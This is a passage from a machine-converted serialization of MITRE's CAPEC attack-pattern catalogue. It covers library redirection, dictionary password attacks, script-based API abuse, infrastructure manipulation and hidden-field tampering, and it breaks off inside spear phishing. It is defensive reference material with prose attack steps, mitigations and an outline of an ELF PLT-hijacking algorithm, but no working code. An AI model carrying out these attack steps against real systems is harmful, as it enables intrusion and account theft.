attack pattern and simply observes and analyzes the traffic. The adversary may precipitate or indirectly influence the content of the observed transaction, but is never the intended recipient of the target information.</xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern5901 + Related_Attack_Pattern_5901 + + + + + + + + + + + + + + 157 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The target must be communicating on a network protocol visible by a network sniffing application.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary must obtain a logical position on the network from intercepting target network traffic is possible. Depending on the network topology, traffic sniffing may be simple or challenging. If both the target sender and target recipient are members of a single subnet, the adversary must also be on that subnet in order to see their traffic communication.</xhtml:div> + + + + + + + + + + + + #indSkillSkill5908 + Skill_5908 + + + + + + + + + + + + + + Adversaries can obtain and set up open-source network sniffing tools easily. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A tool with the capability of presenting network communication traffic (e.g., Wireshark, tcpdump, Cain and Abel, etc.).</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence5914 + Consequence_5914 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Obfuscate network traffic through encryption to prevent its readability by network sniffers.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Employ appropriate levels of segmentation to your network in accordance with best practices.</xhtml:div> + + + + + 311 + + + + + + + + + + + + #indTaxonomyMappingNetworkSniffing + Network Sniffing + + + + + + + + + + + + + + 1040 + + + + + Network Sniffing + + + + + + + + + + + + #indTaxonomyMappingMultiFactorAuthenticationInterception + Multi-Factor Authentication Interception + + + + + + + + + + + + + + 1111 + + + + + Multi-Factor Authentication Interception + + + + + + + + + + + + #indContentHistoryContentHistory5936 + Content_History_5936 + + + + + + + + + + + + + + + + #indSubmissionSubmission5937 + Submission_5937 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification5942 + Modification_5942 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + Updated References + + + + + + + + + + + + #indModificationModification5948 + Modification_5948 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-12-07 + + + + + Updated Description Summary, Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification5954 + Modification_5954 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Resources_Required + + + + + + + + + + + + #indModificationModification5960 + Modification_5960 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Activation_Zone, Attack_Motivation-Consequences, Attack_Prerequisites, Attacker_Skills_or_Knowledge_Required, Description Summary, Injection_Vector, Payload, Payload_Activation_Impact, Resources_Required, Solutions_and_Mitigations + + + + + + + + + + + + #indModificationModification5966 + Modification_5966 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #CAPEC-159 + Redirect Access to Libraries + + + + + + + + + 159 + + + + + Redirect Access to Libraries + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary exploits a weakness in the way an application searches for external libraries to manipulate the execution flow to point to an adversary supplied library or code base. This pattern of attack allows the adversary to compromise the application or server via the execution of unauthorized code. An application typically makes calls to functions that are a part of libraries external to the application. These libraries may be part of the operating system or they may be third party libraries. If an adversary can redirect an application's attempts to access these libraries to other libraries that the adversary supplies, the adversary will be able to force the targeted application to execute arbitrary code. This is especially dangerous if the targeted application has enhanced privileges. Access can be redirected through a number of techniques, including the use of symbolic links, search path modification, and relative path manipulation.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern5980 + Related_Attack_Pattern_5980 + + + + + + + + + + + + + + 154 + + + + + 403 + + + + + 437 + + + + + 512 + + + + + 515 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern5986 + Related_Attack_Pattern_5986 + + + + + + + + + + + + + + 185 + + + + + + + + + + + + #indAttackStepAttackStep5989 + Attack_Step_5989 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Identify Target] The adversary identifies the target application and determines what libraries are being used.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Find public source code and identify library dependencies.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Gain access to the system hosting the application and look for libraries in common locations.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep5996 + Attack_Step_5996 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Deploy Malicious Libraries] The adversary crafts malicious libraries and deploys them on the system where the application is running, or in a remote location that can be loaded by the application.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep6001 + Attack_Step_6001 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Redirect Library Calls to Malicious Library] Once the malicious library crafted by the adversary is deployed, the adversary will manipulate the flow of the application such that it calls the malicious library. This can be done in a variety of ways based on how the application is loading and calling libraries.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Poison the DNS cache of the system so that it loads a malicious library from a remote location hosted by the adversary instead of the legitimate location</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Create a symlink that tricks the application into thinking that a malicious library is the legitimate library.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use DLL side-loading to place a malicious verison of a DLL in the windows directory.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The target must utilize external libraries and must fail to verify the integrity of these libraries before using them.</xhtml:div> + + + + + + + + + + + + #indSkillSkill6014 + Skill_6014 + + + + + + + + + + + + + + To modify the entries in the configuration file pointing to malicious libraries + + + + + + + + + + + + #indSkillSkill6015 + Skill_6015 + + + + + + + + + + + + + + To force symlink and timing issues for redirecting access to libraries + + + + + + + + + + + + #indSkillSkill6016 + Skill_6016 + + + + + + + + + + + + + + To reverse engineering the libraries and inject malicious code into the libraries + + + + + + + + + + + + #indConsequenceConsequence6019 + Consequence_6019 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Run Arbitrary Code</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence6024 + Consequence_6024 + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Restrict the permission to modify the entries in the configuration file.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Check the integrity of the dynamically linked libraries before use them.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Use obfuscation and other techniques to prevent reverse engineering the libraries.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">In this example, the attacker using ELF infection that redirects the Procedure Linkage Table (PLT) of an executable allowing redirection to be resident outside of the infected executable. The algorithm at the entry point code is as follows... • mark the text segment writeable • save the PLT(GOT) entry • replace the PLT(GOT) entry with the address of the new lib call The algorithm in the new library call is as follows... • do the payload of the new lib call • restore the original PLT(GOT) entry • call the lib call • save the PLT(GOT) entry again (if its changed) • replace the PLT(GOT) entry with the address of the new lib call</xhtml:div> + + + + + 706 + + + + + + + + + + + + #indTaxonomyMappingHijackExecutionFlowPathInterceptionBySearchOrderHijacking + Hijack Execution Flow:Path Interception by Search Order Hijacking + + + + + + + + + + + + + + 1574.008 + + + + + Hijack Execution Flow:Path Interception by Search Order Hijacking + + + + + + + + + + + + #indReferenceReference6048 + Reference_6048 + + + + + + + + + REF-29 + + + + + + + + + + + + #indReferenceReference6050 + Reference_6050 + + + + + + + + + REF-30 + + + + + OWASP Top 10 2007 A3 – Malicious File Execution + + + + + + + + + + + + #indContentHistoryContentHistory6052 + Content_History_6052 + + + + + + + + + + + + + + + + #indSubmissionSubmission6053 + Submission_6053 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification6058 + Modification_6058 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + Updated References + + + + + + + + + + + + #indModificationModification6064 + Modification_6064 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Attack_Phases, Description, Description Summary, References, Related_Weaknesses + + + + + + + + + + + + #indModificationModification6070 + Modification_6070 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Attack_Patterns, Related_Weaknesses + + + + + + + + + + + + #indModificationModification6076 + Modification_6076 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification6082 + Modification_6082 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated References + + + + + + + + + + + + #indModificationModification6088 + Modification_6088 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Related_Attack_Patterns, Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification6094 + Modification_6094 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Execution_Flow + + + + + + + + + + + + #indModificationModification6100 + Modification_6100 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #CAPEC-16 + Dictionary-based Password Attack + + + + + + + + + 16 + + + + + Dictionary-based Password Attack + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;An attacker tries each of the words in a dictionary as passwords to gain access to the system via some user's account. If the password chosen by the user was a word within the dictionary, this attack will be successful (in the absence of other mitigations). This is a specific instance of the password brute forcing attack pattern.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Dictionary Attacks differ from similar attacks such as Password Spraying (CAPEC-565) and Credential Stuffing (CAPEC-600), since they leverage unknown username/password combinations and don't care about inducing account lockouts.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern6117 + Related_Attack_Pattern_6117 + + + + + + + + + + + + + + 49 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern6118 + Related_Attack_Pattern_6118 + + + + + + + + + + + + + + 600 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern6119 + Related_Attack_Pattern_6119 + + + + + + + + + + + + + + 151 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern6120 + Related_Attack_Pattern_6120 + + + + + + + + + + + + + + 560 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern6121 + Related_Attack_Pattern_6121 + + + + + + + + + + + + + + 561 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern6122 + Related_Attack_Pattern_6122 + + + + + + + + + + + + + + 653 + + + + + + + + + + + + #indAttackStepAttackStep6125 + Attack_Step_6125 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Determine application's/system's password policy] Determine the password policies of the target application/system.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Determine minimum and maximum allowed password lengths.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Determine format of allowed passwords (whether they are required or allowed to contain numbers, special characters, etc., or whether they are allowed to contain words from the dictionary).</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Determine account lockout policy (a strict account lockout policy will prevent brute force attacks).</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep6133 + Attack_Step_6133 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Select dictionaries] Pick the dictionaries to be used in the attack (e.g. different languages, specific terminology, etc.)</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Select dictionary based on particular users' preferred languages.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Select dictionary based on the application/system's supported languages.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep6140 + Attack_Step_6140 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Determine username(s) to target] Determine username(s) whose passwords to crack.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Obtain username(s) by sniffing network packets.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Obtain username(s) by querying application/system (e.g. if upon a failed login attempt, the system indicates whether the entered username was valid or not)</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Obtain usernames from filesystem (e.g. list of directories in C:\\Documents and Settings\\ in Windows, and list in /etc/passwd in UNIX-like systems)</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep6148 + Attack_Step_6148 + + + + + + + + + 4 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Use dictionary to crack passwords.] Use a password cracking tool that will leverage the dictionary to feed passwords to the system and see if they work.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Try all words in the dictionary, as well as common misspellings of the words as passwords for the chosen username(s).</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Try common combinations of words in the dictionary, as well as common misspellings of the combinations as passwords for the chosen username(s).</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The system uses one factor password based authentication.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The system does not have a sound password policy that is being enforced.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The system does not implement an effective password throttling mechanism.</xhtml:div> + + + + + + + + + + + + #indSkillSkill6162 + Skill_6162 + + + + + + + + + + + + + + A variety of password cracking tools and dictionaries are available to launch this type of an attack. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A machine with sufficient resources for the job (e.g. CPU, RAM, HD). Applicable dictionaries are required. Also a password cracking tool or a custom script that leverages the dictionary database to launch the attack.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Many invalid login attempts are coming from the same machine (same IP address) or for the same log in name. The login attempts use passwords that are dictionary words.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence6171 + Consequence_6171 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence6177 + Consequence_6177 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence6181 + Consequence_6181 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Create a strong password policy and ensure that your system enforces this policy.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implement an intelligent password throttling mechanism. Care must be taken to assure that these mechanisms do not excessively enable account lockout attacks such as CAPEC-2.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Leverage multi-factor authentication for all authentication services.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A system user selects the word "treacherous" as their passwords believing that it would be very difficult to guess. The password-based dictionary attack is used to crack this password and gain access to the account.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;The Cisco LEAP challenge/response authentication mechanism uses passwords in a way that is susceptible to dictionary attacks, which makes it easier for remote attackers to gain privileges via brute force password guessing attacks.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Cisco LEAP is a mutual authentication algorithm that supports dynamic derivation of session keys. With Cisco LEAP, mutual authentication relies on a shared secret, the user's logon password (which is known by the client and the network), and is used to respond to challenges between the user and the Remote Authentication Dial-In User Service (RADIUS) server.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Methods exist for someone to write a tool to launch an offline dictionary attack on password-based authentications that leverage Microsoft MS-CHAP, such as Cisco LEAP. The tool leverages large password lists to efficiently launch offline dictionary attacks against LEAP user accounts, collected through passive sniffing or active techniques.&lt;/xhtml:p&gt;See also: CVE-2003-1096</xhtml:div> + + + + + 521 + + + + + 262 + + + + + 263 + + + + + 654 + + + + + 307 + + + + + 308 + + + + + 309 + + + + + + + + + + + + #indContentHistoryContentHistory6207 + Content_History_6207 + + + + + + + + + + + + + + + + #indSubmissionSubmission6208 + Submission_6208 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification6213 + Modification_6213 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Consequences, Description, Mitigations, Related_Attack_Patterns, Related_Weaknesses + + + + + + + + + + + + #indModificationModification6219 + Modification_6219 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #CAPEC-160 + Exploit Script-Based APIs + + + + + + + + + 160 + + + + + Exploit Script-Based APIs + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Some APIs support scripting instructions as arguments. Methods that take scripted instructions (or references to scripted instructions) can be very flexible and powerful. However, if an attacker can specify the script that serves as input to these methods they can gain access to a great deal of functionality. For example, HTML pages support &lt;script&gt; tags that allow scripting languages to be embedded in the page and then interpreted by the receiving web browser. If the content provider is malicious, these scripts can compromise the client application. Some applications may even execute the scripts under their own identity (rather than the identity of the user providing the script) which can allow attackers to perform activities that would otherwise be denied to them.</xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern6231 + Related_Attack_Pattern_6231 + + + + + + + + + + + + + + 113 + + + + + 515 + + + + + + + + + + + + #indAttackStepAttackStep6236 + Attack_Step_6236 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Identify API] Discover an API of interest by exploring application documentation or observing responses to API calls</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Search via internet for known, published APIs that support scripting instructions as arguments</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep6242 + Attack_Step_6242 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Test simple script] Adversaries will attempt to give a smaller script as input to the API, such as simply printing to the console, to see if the attack is viable.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Create a general script to be taken as input by the API</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep6248 + Attack_Step_6248 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Give malicious scripting instructions to API] Adversaries will now craft custom scripts to do malicious behavior. Depending on the setup of the application this script could be run with user or admin level priveleges.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Crafting a malicious script to be run on a system based on priveleges and capabilities of the system</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The target application must include the use of APIs that execute scripts.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The target application must allow the attacker to provide some or all of the arguments to one of these script interpretation methods and must fail to adequately filter these arguments for dangerous or unwanted script commands.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">None: No specialized resources are required to execute this type of attack.</xhtml:div> + + + + + 346 + + + + + + + + + + + + #indContentHistoryContentHistory6265 + Content_History_6265 + + + + + + + + + + + + + + + + #indSubmissionSubmission6266 + Submission_6266 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification6271 + Modification_6271 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-12-07 + + + + + Updated Description Summary + + + + + + + + + + + + #indModificationModification6277 + Modification_6277 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Resources_Required + + + + + + + + + + + + #indModificationModification6283 + Modification_6283 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification6289 + Modification_6289 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification6295 + Modification_6295 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-10-21 + + + + + Updated Execution_Flow + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName6301 + Previous_Entry_Name_6301 + + + + + + + + + 2015-12-07 + + + + + Programming to included script-based APIs + + + + + + + + + + + + #CAPEC-161 + Infrastructure Manipulation + + + + + + + + + 161 + + + + + Infrastructure Manipulation + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker exploits characteristics of the infrastructure of a network entity in order to perpetrate attacks or information gathering on network objects or effect a change in the ordinary information flow between network objects. Most often, this involves manipulation of the routing of network messages so, instead of arriving at their proper destination, they are directed towards an entity of the attackers' choosing, usually a server controlled by the attacker. The victim is often unaware that their messages are not being processed correctly. For example, a targeted client may believe they are connecting to their own bank but, in fact, be connecting to a Pharming site controlled by the attacker which then collects the user's login information in order to hijack the actual bank account.</xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern6308 + Related_Attack_Pattern_6308 + + + + + + + + + + + + + + 664 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The targeted client must access the site via infrastructure that the attacker has co-opted and must fail to adequately verify that the communication channel is operating correctly (e.g. by verifying that they are, in fact, connected to the site they intended.)</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The attacker must be able to corrupt the infrastructure used by the client. For some variants of this attack, the attacker must be able to stand up their own services that mimic the services the targeted client intends to use.</xhtml:div> + + + + + 923 + + + + + + + + + + + + #indContentHistoryContentHistory6319 + Content_History_6319 + + + + + + + + + + + + + + + + #indSubmissionSubmission6320 + Submission_6320 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification6325 + Modification_6325 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-01-09 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification6331 + Modification_6331 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification6337 + Modification_6337 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2023-01-24 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #CAPEC-162 + Manipulating Hidden Fields + + + + + + + + + 162 + + + + + Manipulating Hidden Fields + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary exploits a weakness in the server's trust of client-side processing by modifying data on the client-side, such as price information, and then submitting this data to the server, which processes the modified data. For example, eShoplifting is a data manipulation attack against an on-line merchant during a purchasing transaction. The manipulation of price, discount or quantity fields in the transaction message allows the adversary to acquire items at a lower cost than the merchant intended. The adversary performs a normal purchasing transaction but edits hidden fields within the HTML form response that store price or other information to give themselves a better deal. The merchant then uses the modified pricing information in calculating the cost of the selected items.</xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern6350 + Related_Attack_Pattern_6350 + + + + + + + + + + + + + + 77 + + + + + + + + + + + + #indAttackStepAttackStep6353 + Attack_Step_6353 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Probe target web application] The adversary first probes the target web application to find all possible pages that can be visited on the website.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a spidering tool to follow and record all links</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a proxy tool to record all links visited during a manual traversal of the web application.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep6360 + Attack_Step_6360 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Find hidden fields] Once the web application has been traversed, the adversary looks for all hidden HTML fields present in the client-side.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use the inspect tool on all modern browsers and filter for the keyword "hidden"</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Specifically look for hidden fields inside form elements.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep6367 + Attack_Step_6367 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Send modified hidden fields to server-side] Once the adversary has found hidden fields in the client-side, they will modify the values of these hidden fields one by one and then interact with the web application so that this data is sent to the server-side. The adversary observes the response from the server to determine if the values of each hidden field are being validated.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep6372 + Attack_Step_6372 + + + + + + + + + 4 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Manipulate hidden fields] Once the adversary has determined which hidden fields are not being validated by the server, they will manipulate them to change the normal behavior of the web application in a way that benefits the adversary.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Manipulate a hidden field inside a form element and then submit the form so that the manipulated data is sent to the server.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The targeted site must contain hidden fields to be modified.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The targeted site must not validate the hidden fields with backend processing.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary must have the ability to modify hidden fields by editing the HTTP response to the server.</xhtml:div> + + + + + 602 + + + + + + + + + + + + #indContentHistoryContentHistory6389 + Content_History_6389 + + + + + + + + + + + + + + + + #indSubmissionSubmission6390 + Submission_6390 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification6395 + Modification_6395 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-12-07 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification6401 + Modification_6401 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-01-09 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification6407 + Modification_6407 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Attack_Prerequisites, Description Summary, Resources_Required + + + + + + + + + + + + #indModificationModification6413 + Modification_6413 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Execution_Flow + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName6419 + Previous_Entry_Name_6419 + + + + + + + + + 2015-12-07 + + + + + Manipulating hidden fields to change the normal flow of transactions (eShoplifting) + + + + + + + + + + + + #CAPEC-163 + Spear Phishing + + + + + + + + + 163 + + + + + Spear Phishing + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary targets a specific user or group with a Phishing (CAPEC-98) attack tailored to a category of users in order to have maximum relevance and deceptive capability. Spear Phishing is an enhanced version of the Phishing attack targeted to a specific user or group. The quality of the targeted email is usually enhanced by appearing to come from a known or trusted entity. If the email account of some trusted entity 